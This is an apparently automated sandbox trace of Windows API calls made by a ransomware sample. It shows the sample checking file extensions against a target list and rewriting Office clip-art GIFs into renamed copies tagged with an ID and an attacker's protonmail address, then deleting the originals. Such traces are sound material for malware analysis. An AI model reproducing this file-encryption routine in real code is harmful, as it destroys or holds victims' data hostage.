	[0069.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.849] lstrlenW (lpString=".doc") returned 4
	[0069.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.849] lstrlenW (lpString=".docx") returned 5
	[0069.849] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.849] lstrlenW (lpString=".pdf") returned 4
	[0069.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.849] lstrlenW (lpString=".xls") returned 4
	[0069.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.849] lstrlenW (lpString=".xlsx") returned 5
	[0069.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.849] lstrlenW (lpString=".ppt") returned 4
	[0069.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.849] lstrlenW (lpString=".zip") returned 4
	[0069.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.849] lstrlenW (lpString=".rar") returned 4
	[0069.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.849] lstrlenW (lpString=".bz2") returned 4
	[0069.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.849] lstrlenW (lpString=".7z") returned 3
	[0069.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.849] lstrlenW (lpString=".dbf") returned 4
	[0069.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.850] lstrlenW (lpString=".1cd") returned 4
	[0069.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68
	[0069.850] lstrlenW (lpString=".jpg") returned 4
	[0069.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.850] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.850] lstrlenW (lpString="AG00135_.GIF") returned 12
	[0069.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.851] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2596) returned 1
	[0069.851] CloseHandle (hObject=0x364) returned 1
	[0069.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220
	[0069.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.852] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.852] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0069.852] GetLastError () returned 0x0
	[0069.852] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xa24, lpOverlapped=0x0) returned 1
	[0069.854] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xa30, lpOverlapped=0x0) returned 1
	[0069.855] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.855] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.856] SetEndOfFile (hFile=0x388) returned 1
	[0069.856] CloseHandle (hObject=0x388) returned 1
	[0069.857] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.857] SetEndOfFile (hFile=0x364) returned 1
	[0069.858] CloseHandle (hObject=0x364) returned 1
	[0069.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1
	[0069.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.858] lstrlenW (lpString=".doc") returned 4
	[0069.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.859] lstrlenW (lpString=".docx") returned 5
	[0069.859] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.859] lstrlenW (lpString=".pdf") returned 4
	[0069.859] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.859] lstrlenW (lpString=".xls") returned 4
	[0069.859] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.859] lstrlenW (lpString=".xlsx") returned 5
	[0069.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.859] lstrlenW (lpString=".ppt") returned 4
	[0069.859] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.859] lstrlenW (lpString=".zip") returned 4
	[0069.859] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.859] lstrlenW (lpString=".rar") returned 4
	[0069.859] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.859] lstrlenW (lpString=".bz2") returned 4
	[0069.859] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.859] lstrlenW (lpString=".7z") returned 3
	[0069.859] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.859] lstrlenW (lpString=".dbf") returned 4
	[0069.859] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.859] lstrlenW (lpString=".1cd") returned 4
	[0069.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.860] lstrlenW (lpString=".jpg") returned 4
	[0069.860] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.860] lstrlenW (lpString=".doc") returned 4
	[0069.860] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.860] lstrlenW (lpString=".docx") returned 5
	[0069.860] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.860] lstrlenW (lpString=".pdf") returned 4
	[0069.860] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.860] lstrlenW (lpString=".xls") returned 4
	[0069.860] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.860] lstrlenW (lpString=".xlsx") returned 5
	[0069.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.861] lstrlenW (lpString=".ppt") returned 4
	[0069.861] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.861] lstrlenW (lpString=".zip") returned 4
	[0069.861] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.861] lstrlenW (lpString=".rar") returned 4
	[0069.861] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.861] lstrlenW (lpString=".bz2") returned 4
	[0069.861] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.861] lstrlenW (lpString=".7z") returned 3
	[0069.861] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.861] lstrlenW (lpString=".dbf") returned 4
	[0069.861] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.861] lstrlenW (lpString=".1cd") returned 4
	[0069.861] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0069.861] lstrlenW (lpString=".jpg") returned 4
	[0069.861] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.861] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.861] lstrlenW (lpString="AG00139_.GIF") returned 12
	[0069.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.862] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=10607) returned 1
	[0069.862] CloseHandle (hObject=0x364) returned 1
	[0069.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220
	[0069.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.862] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.862] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0069.863] GetLastError () returned 0x0
	[0069.863] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x296f, lpOverlapped=0x0) returned 1
	[0069.865] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x2970, lpOverlapped=0x0) returned 1
	[0069.866] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.866] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.867] SetEndOfFile (hFile=0x388) returned 1
	[0069.867] CloseHandle (hObject=0x388) returned 1
	[0069.868] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.868] SetEndOfFile (hFile=0x364) returned 1
	[0069.869] CloseHandle (hObject=0x364) returned 1
	[0069.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1
	[0069.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.869] lstrlenW (lpString=".doc") returned 4
	[0069.869] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.869] lstrlenW (lpString=".docx") returned 5
	[0069.869] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.870] lstrlenW (lpString=".pdf") returned 4
	[0069.870] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.870] lstrlenW (lpString=".xls") returned 4
	[0069.870] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.870] lstrlenW (lpString=".xlsx") returned 5
	[0069.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.870] lstrlenW (lpString=".ppt") returned 4
	[0069.870] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.870] lstrlenW (lpString=".zip") returned 4
	[0069.870] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.870] lstrlenW (lpString=".rar") returned 4
	[0069.870] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.870] lstrlenW (lpString=".bz2") returned 4
	[0069.870] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.870] lstrlenW (lpString=".7z") returned 3
	[0069.870] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.870] lstrlenW (lpString=".dbf") returned 4
	[0069.870] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.870] lstrlenW (lpString=".1cd") returned 4
	[0069.870] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.870] lstrlenW (lpString=".jpg") returned 4
	[0069.870] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.871] lstrlenW (lpString=".doc") returned 4
	[0069.871] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.871] lstrlenW (lpString=".docx") returned 5
	[0069.871] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.871] lstrlenW (lpString=".pdf") returned 4
	[0069.871] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.871] lstrlenW (lpString=".xls") returned 4
	[0069.871] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.871] lstrlenW (lpString=".xlsx") returned 5
	[0069.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.871] lstrlenW (lpString=".ppt") returned 4
	[0069.871] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.871] lstrlenW (lpString=".zip") returned 4
	[0069.871] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.871] lstrlenW (lpString=".rar") returned 4
	[0069.871] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.871] lstrlenW (lpString=".bz2") returned 4
	[0069.871] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.871] lstrlenW (lpString=".7z") returned 3
	[0069.871] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.871] lstrlenW (lpString=".dbf") returned 4
	[0069.871] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.872] lstrlenW (lpString=".1cd") returned 4
	[0069.872] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68
	[0069.872] lstrlenW (lpString=".jpg") returned 4
	[0069.872] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.872] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.872] lstrlenW (lpString="AG00142_.GIF") returned 12
	[0069.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.873] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=15308) returned 1
	[0069.873] CloseHandle (hObject=0x364) returned 1
	[0069.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220
	[0069.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0069.873] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.873] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0069.874] GetLastError () returned 0x0
	[0069.874] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x3bcc, lpOverlapped=0x0) returned 1
	[0069.877] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x3bd0, lpOverlapped=0x0) returned 1
	[0069.878] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.878] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.879] SetEndOfFile (hFile=0x388) returned 1
	[0069.879] CloseHandle (hObject=0x388) returned 1
	[0069.880] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.880] SetEndOfFile (hFile=0x364) returned 1
	[0069.882] CloseHandle (hObject=0x364) returned 1
	[0069.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1
	[0069.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.882] lstrlenW (lpString=".doc") returned 4
	[0069.882] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.882] lstrlenW (lpString=".docx") returned 5
	[0069.883] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.883] lstrlenW (lpString=".pdf") returned 4
	[0069.883] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.883] lstrlenW (lpString=".xls") returned 4
	[0069.883] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.883] lstrlenW (lpString=".xlsx") returned 5
	[0069.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.883] lstrlenW (lpString=".ppt") returned 4
	[0069.883] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.883] lstrlenW (lpString=".zip") returned 4
	[0069.883] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.883] lstrlenW (lpString=".rar") returned 4
	[0069.883] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.883] lstrlenW (lpString=".bz2") returned 4
	[0069.883] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.883] lstrlenW (lpString=".7z") returned 3
	[0069.883] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.883] lstrlenW (lpString=".dbf") returned 4
	[0069.883] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.883] lstrlenW (lpString=".1cd") returned 4
	[0069.883] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
	[0069.883] lstrlenW (lpString=".jpg") returned 4
	[0069.883] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68
